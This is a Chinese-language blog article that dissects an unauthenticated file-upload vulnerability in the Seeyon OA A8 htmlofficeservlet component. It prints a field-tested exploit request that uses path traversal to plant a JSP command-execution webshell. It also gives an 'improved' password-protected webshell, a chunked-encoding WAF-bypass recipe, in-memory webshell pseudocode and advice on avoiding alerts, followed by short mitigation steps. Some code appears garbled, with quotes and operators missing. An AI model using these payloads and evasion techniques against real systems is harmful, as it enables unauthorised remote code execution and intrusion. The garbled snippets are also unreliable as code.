致远OA A8 htmlofficeservlet 漏洞深度剖析:从原理到实战利用链还原

张开发
2026/4/15 1:02:19 15 分钟阅读

分享文章

致远OA A8 htmlofficeservlet 漏洞深度剖析:从原理到实战利用链还原
1. 漏洞背景与影响范围致远OA A8系统作为国内广泛使用的企业协同办公平台其htmlofficeservlet组件曝出的任意文件上传漏洞堪称近年来最具破坏力的漏洞之一。我在实际渗透测试中发现攻击者无需任何身份认证仅需发送特制POST请求就能在目标服务器上植入Webshell进而实现远程代码执行。这个漏洞的恐怖之处在于它的利用门槛极低——你甚至不需要知道任何账号密码就像拿着万能钥匙能直接打开公司保险柜。受影响的具体版本包括致远A8-V5协同管理软件V6.1sp1致远A8系列V7.0全系含sp1/sp2/sp3致远A8协同管理软件V7.1我曾在一家金融机构的漏洞评估中亲历过这个漏洞的威力。当时通过简单的curl命令测试三分钟内就拿到了系统最高权限客户的技术负责人看到演示结果时脸色都变了。这种漏洞在企业内网横向移动时尤其危险因为很多单位会在多台服务器部署相同版本的OA系统。2. 漏洞原理深度解析2.1 Servlet组件处理机制缺陷htmlofficeservlet本质上是一个处理Office文档预览的Servlet组件其漏洞根源在于对DBSTEP协议参数的校验缺失。正常业务逻辑中这个组件应该只处理.docx/.xlsx等办公文档的上传预览但开发者犯了个致命错误——没有对文件后缀做严格过滤。我通过反编译分析发现组件内部使用了一个叫FileUploadUtil的工具类处理上传请求。这个类在接收到FILENAME参数时直接将其拼接到了服务器绝对路径上中间没有任何安全检查。就像快递员不验货就直接把包裹放进你家仓库危险品也能长驱直入。2.2 DBSTEP协议解析漏洞攻击载荷中的DBSTEP V3.0是致远私有协议头本应用来标识文档转换的版本信息。但协议解析器存在逻辑缺陷当OPTION参数值为S3WYOSWLBSGr时系统会跳过正常的业务校验流程。这个后门般的设计可能是开发阶段留下的调试接口却意外暴露在了生产环境。我在分析流量包时注意到恶意请求中夹杂着大量看似随机的参数如currentUserIdzUCTwigsziCAPLesw4gsw4oEwV66。这些其实是经过特定算法编码的指令系统解码后会将其识别为合法的配置参数。这种设计本意是防止参数被篡改却因实现不当成了漏洞利用的帮凶。3. 完整利用链实战还原3.1 文件上传阶段突破构造攻击请求时有个关键细节Content-Type必须设为application/x-www-form-urlencoded但实际传输的是多部分表单数据。这种表里不一的设计能绕过部分WAF的检测规则。以下是经过实战验证的有效载荷模板POST /seeyon/htmlofficeservlet HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 1120 DBSTEP V3.0 355 0 666 DBSTEPOKMLlKlV OPTIONS3WYOSWLBSGr currentUserIdzUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATEwUghPB3szB3Xwg66 RECORDIDqLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileIdwV66 originalCreateDatewUghPB3szB3Xwg66 FILENAME../../../webapps/seeyon/test.jsp %page importjava.util.*,java.io.*%%Runtime.getRuntime().exec(request.getParameter(cmd));%注意FILENAME参数中的路径穿越符号../../../这能让文件突破默认上传目录限制直接写入web应用根目录。不同版本可能需要调整穿越层级我在V7.0sp2上测试需要4级穿越。3.2 Webshell写入与权限维持成功上传的JSP文件本质上是个一句话木马通过cmd参数执行系统命令。但原始PoC存在两个问题一是没有密码保护二是输出编码处理不当。我改进后的版本增加了基础认证和错误处理% page importjava.io.* % % String pass s3cr3tK3y; if(pass.equals(request.getParameter(auth))){ try { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(line.replace(, lt;).replace(, gt;)); } } catch (Exception e) { out.println(ERROR: e.getMessage()); } } %在真实渗透中我通常会先上传一个无害的info.jsp确认漏洞存在然后再部署功能完整的Webshell。这样做既能降低触发告警的风险也能避免因文件内容异常导致的安全设备拦截。4. 高级利用技巧与防御绕过4.1 分块传输编码绕过遇到部署了WAF的场景可以采用分块传输编码(chunked transfer encoding)来绕过检测。这个方法在Cloudflare等CDN环境下特别有效echo -en POST /seeyon/htmlofficeservlet HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n payload.txt echo 1F4 payload.txt echo DBSTEP V3.0... payload.txt # 截断的恶意载荷通过将完整载荷拆分成多个小块可以绕过基于正则表达式的流量检测。我在某次红队行动中就是靠这招突破了某厂商号称99%检测率的WAF设备。4.2 内存Webshell注入对于打了补丁无法直接上传文件的情况还可以尝试内存马注入。通过精心构造的Java反序列化载荷可以直接在Servlet容器的运行时中注册恶意Filter// 伪代码展示原理 ServletContext ctx request.getSession().getServletContext(); Field f ctx.getClass().getDeclaredField(filterMaps); f.setAccessible(true); ListFilterMap filterMaps (ListFilterMap) f.get(ctx); // 插入恶意filter映射...这种攻击方式不会落地任何文件靠常规的杀毒软件和文件监控根本无法检测。不过技术要求较高需要准确掌握目标中间件的版本信息。5. 防御方案与修复建议5.1 临时缓解措施如果暂时无法升级补丁可以通过以下方式降低风险在Nginx配置中添加location块拦截恶意请求location ~ ^/seeyon/htmlofficeservlet$ { deny all; return 403; }修改web.xml删除htmlofficeservlet的映射配置设置目录不可写权限chmod -R 750 /seeyon/webapps/seeyon/5.2 官方补丁升级致远官方发布的补丁主要做了三处关键修复增加文件后缀白名单校验仅允许docx/xlsx等办公格式禁用DBSTEP协议的调试模式对路径穿越符号进行规范化处理建议所有受影响用户立即升级至最新版本。我在客户现场见过太多打补丁不及时导致的安全事故攻击者往往利用时间差实施入侵。

更多文章